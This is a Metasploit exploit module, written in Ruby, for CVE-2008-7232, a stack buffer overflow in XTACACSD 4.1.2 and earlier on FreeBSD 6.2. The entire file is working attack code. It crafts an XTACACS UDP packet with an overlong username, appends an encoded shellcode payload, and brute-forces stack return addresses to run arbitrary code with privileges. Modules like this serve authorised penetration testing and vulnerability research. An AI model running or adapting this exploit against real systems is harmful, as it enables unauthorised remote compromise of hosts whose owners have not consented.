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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Brute
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'XTACACSD report() Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By
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        sending a specially crafted XTACACS packet with an overly long
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        username, an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => 'MC',
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      'References'     =>
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        [
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          ['CVE', '2008-7232'],
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          ['OSVDB', '58140'],
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          ['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
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        ],
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      'Payload'        =>
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        {
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          'Space'    => 175,
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          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x83\xec\x7f",
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          'DisableNops'   =>  'True',
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        },
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      'Platform'       => 'bsd',
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      'Arch'           => ARCH_X86,
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      'Targets'        =>
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        [
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          ['FreeBSD 6.2-Release Bruteforce',
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            {'Bruteforce' =>
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              {
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                'Start' => { 'Ret' => 0xbfbfea00 },
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                'Stop'  => { 'Ret' => 0xbfbfef00 },
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                'Step'  => 24,
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              }
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            },
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          ],
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        ],
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      'Privileged'     => true,
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-01-08'))
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    register_options([Opt::RPORT(49)])
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  end
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  def brute_exploit(address)
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    connect_udp
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    sploit =  "\x80" # Version
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    sploit << "\x05" # Type: Connect
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    sploit << "\xff\xff" # Nonce
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    sploit << "\xff" # Username length
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    sploit << "\x00" # Password length
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    sploit << "\x00" # Response
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    sploit << "\x00" # Reason
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    sploit << "\xff\xff\xff\xff" # Result 1
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    sploit << "\xff\xff\xff\xff" # Destination address
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    sploit << "\xff\xff" # Destination port
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    sploit << "\xff\xff" # Line
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    sploit << "\x00\x00\x00\x00" # Result 2
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    sploit << "\x00\x00" # Result 3
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    sploit << make_nops(238 - payload.encoded.length)
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    sploit << payload.encoded + [address['Ret']].pack('V')
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    print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")
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    udp_sock.put(sploit)
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    disconnect_udp
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  end
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end
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